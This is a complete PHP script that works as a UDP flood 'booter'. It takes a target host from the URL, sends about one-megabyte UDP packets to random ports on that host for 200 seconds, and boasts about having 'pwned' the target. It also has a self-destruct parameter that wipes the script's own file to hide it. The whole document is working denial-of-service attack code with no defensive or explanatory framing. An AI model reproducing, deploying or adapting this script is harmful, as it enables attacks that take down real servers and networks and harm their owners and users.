<?php
// visit "this.php?" +
// destruct: ?d
// boot: ?t=127.0.0.1
if(isset($_GET['d'])){
$f = @fopen(__FILE__, "w");
exit("self-destructed");
}
if(!isset($_GET['t']))
exit('Idiot, Y R Doing It Wrong.');
$lol = gethostbyname($_GET['t']);
$out = 'v';
for($i=0;$i<999998;$i++) $out .= 'X';
$dt = 200; // target delta time
$ti = time(); // initial time
$mt = $ti + $dt; // max time
$p = 2; // packet counter
while(time() <= $mt){
$sock = fsockopen('udp://'.$lol, rand(1,65000), $errno, $errstr, 1);
if($sock){
++$p;
fwrite($sock, $out);
fclose($sock);
}
}
$ps = round(($p*999999)/1024/1024, 3); // data / delta time = rate
$dt = time() - $ti; // real delta time
echo "We pwned $lol with $p packets as $ps MBytes over $dt seconds (".round($ps / $dt, 3)." MByte/s)";
?>